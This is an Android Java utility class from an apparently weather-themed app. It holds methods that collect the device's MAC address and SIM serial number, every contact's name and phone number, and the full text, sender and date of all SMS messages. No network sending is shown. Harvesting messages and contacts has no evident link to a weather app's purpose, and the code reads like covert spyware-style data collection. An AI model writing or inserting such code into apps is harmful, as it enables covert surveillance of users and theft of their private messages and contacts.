package goodweather.cjxy.edu.util;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.provider.ContactsContract;
import android.telephony.TelephonyManager;

import java.util.ArrayList;
import java.util.List;

public class GetUInfoUtils {
    private static Context context;

    public static String getMacAdd(Context ctx) {
        context = ctx;
        WifiManager wifi = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
        WifiInfo info = wifi.getConnectionInfo();
        return info.getMacAddress();
    }

    public static String getPhoneIm(Context ctx) {
        context = ctx;
        TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        String imei = tm.getSimSerialNumber();
        return imei;
    }

    public static List getUserPhone(Context ctx) {
        Cursor cursor = null;
        List<String> list = new ArrayList<>();
        try {
            cursor = ctx.getContentResolver().
                    query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);

            if (cursor != null) {
                while (cursor.moveToNext()) {
                    String displayName = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
                    String number = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                    list.add(displayName + " " + number);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
        return list;
    }

    /**
     * 获取用户短信信息
     *
     * @return
     */
    public static List<String> getUMsg(Context ctx) {
        List<String>list=new ArrayList<>();

        String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"};//字段
        Uri uri = Uri.parse("content://sms/");
        Cursor cursor = ctx.getContentResolver().query(uri,projection, null, null, "date desc");
        if (cursor != null) {
            while (cursor.moveToNext()) {

                String date=cursor.getString(cursor.getColumnIndex("date"));
                String address = cursor.getString(cursor.getColumnIndex("address"));
                String body = cursor.getString(cursor.getColumnIndex("body"));
                String msg="日期"+date+"  联系人"+address+" 内容"+body;
                list.add(msg);
            }
        }
        return list;
    }
}